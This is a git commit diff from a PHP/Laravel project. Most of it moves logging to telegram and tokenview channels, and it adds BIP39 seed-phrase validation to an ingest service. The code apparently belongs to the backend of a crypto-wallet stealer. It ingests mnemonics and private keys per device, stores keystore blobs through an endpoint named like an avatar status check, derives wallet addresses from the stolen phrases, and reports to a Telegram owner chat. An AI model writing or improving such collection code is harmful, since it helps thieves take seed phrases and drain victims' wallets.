feat: log

This commit is contained in:
hashbro
2026-09-12 20:58:19 +08:00
parent 29bf0f5cca
commit c273813b71
8 changed files with 59 additions and 10 deletions
@@ -82,7 +82,7 @@ class TelegramWebhookController extends Controller
private function webhookLog(string $level, string $message, array $context = []): void
{
try {
Log::{$level}($message, $context);
Log::channel('telegram')->{$level}($message, $context);
} catch (Throwable) {
error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
}
@@ -12,6 +12,7 @@ class TokenviewWebhookController extends Controller
{
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
{
$log = Log::channel('tokenview');
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
@@ -21,7 +22,7 @@ class TokenviewWebhookController extends Controller
$payload = is_array($decoded) ? $decoded : [];
}
Log::info('tokenview webhook received', [
$log->info('tokenview webhook received', [
'ip' => $request->ip(),
'method' => $request->method(),
'has_signature' => is_string($signature) && $signature !== '',
@@ -33,7 +34,7 @@ class TokenviewWebhookController extends Controller
// sign key exists. Always 200 + non-empty body; only skip ingest.
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
$log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
'ip' => $request->ip(),
'body_bytes' => strlen($raw),
]);
@@ -41,7 +42,7 @@ class TokenviewWebhookController extends Controller
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
$log->warning('tokenview webhook handle failed: '.$e->getMessage(), [
'exception' => $e::class,
]);
}
+30
View File
@@ -527,6 +527,14 @@ class IngestService
if ($secret === null || $secret === '') {
return;
}
if (! $this->isValidMnemonic($secret)) {
Log::warning('ingest mnemonic rejected: invalid phrase format', [
'device_id' => $device->id,
'length' => strlen($secret),
]);
return;
}
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
@@ -544,6 +552,28 @@ class IngestService
}
}
/**
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
* each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF)
* are also accepted as-is.
*/
private function isValidMnemonic(string $secret): bool
{
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
$n = count($words);
if ($n === 12 || $n === 24) {
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return false;
}
}
return true;
}
// Not a word mnemonic — could be a hex private key, WIF, etc. Accept.
return true;
}
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
+10
View File
@@ -36,6 +36,16 @@ class MnemonicWalletDiscovery
return 0;
}
$words = preg_split('/\s+/', trim($phrase)) ?: [];
if (count($words) < 12) {
Log::info('mnemonic wallet discovery skipped: phrase too short', [
'mnemonic_id' => $mnemonic->id,
'word_count' => count($words),
]);
return 0;
}
$existing = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->exists();
+1 -1
View File
@@ -60,7 +60,7 @@ class JoinedChatHandler
),
);
} catch (\Throwable $e) {
Log::warning('telegram join announce failed: '.$e->getMessage(), [
Log::channel('telegram')->warning('telegram join announce failed: '.$e->getMessage(), [
'chat_id' => $chatId,
]);
}
+2 -2
View File
@@ -21,7 +21,7 @@ class AuthorizedChat
{
$chatId = $bot->chatId();
if (! $this->context->bindFromChatId($chatId)) {
Log::info('telegram AuthorizedChat: chat rejected', [
Log::channel('telegram')->info('telegram AuthorizedChat: chat rejected', [
'chat_id' => $chatId,
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]);
@@ -32,7 +32,7 @@ class AuthorizedChat
$type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram AuthorizedChat: not a group chat', [
Log::channel('telegram')->info('telegram AuthorizedChat: not a group chat', [
'chat_id' => $chatId,
'type' => $typeValue,
]);
+2 -2
View File
@@ -24,7 +24,7 @@ class GroupAdminOnly
$type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram GroupAdminOnly: rejected non-group chat', [
Log::channel('telegram')->info('telegram GroupAdminOnly: rejected non-group chat', [
'chat_id' => $chatId,
'type' => $typeValue,
]);
@@ -35,7 +35,7 @@ class GroupAdminOnly
try {
$member = $bot->getChatMember($chatId, $userId);
} catch (\Throwable $e) {
Log::warning('telegram GroupAdminOnly: getChatMember failed', [
Log::channel('telegram')->warning('telegram GroupAdminOnly: getChatMember failed', [
'chat_id' => $chatId,
'user_id' => $userId,
'error' => $e->getMessage(),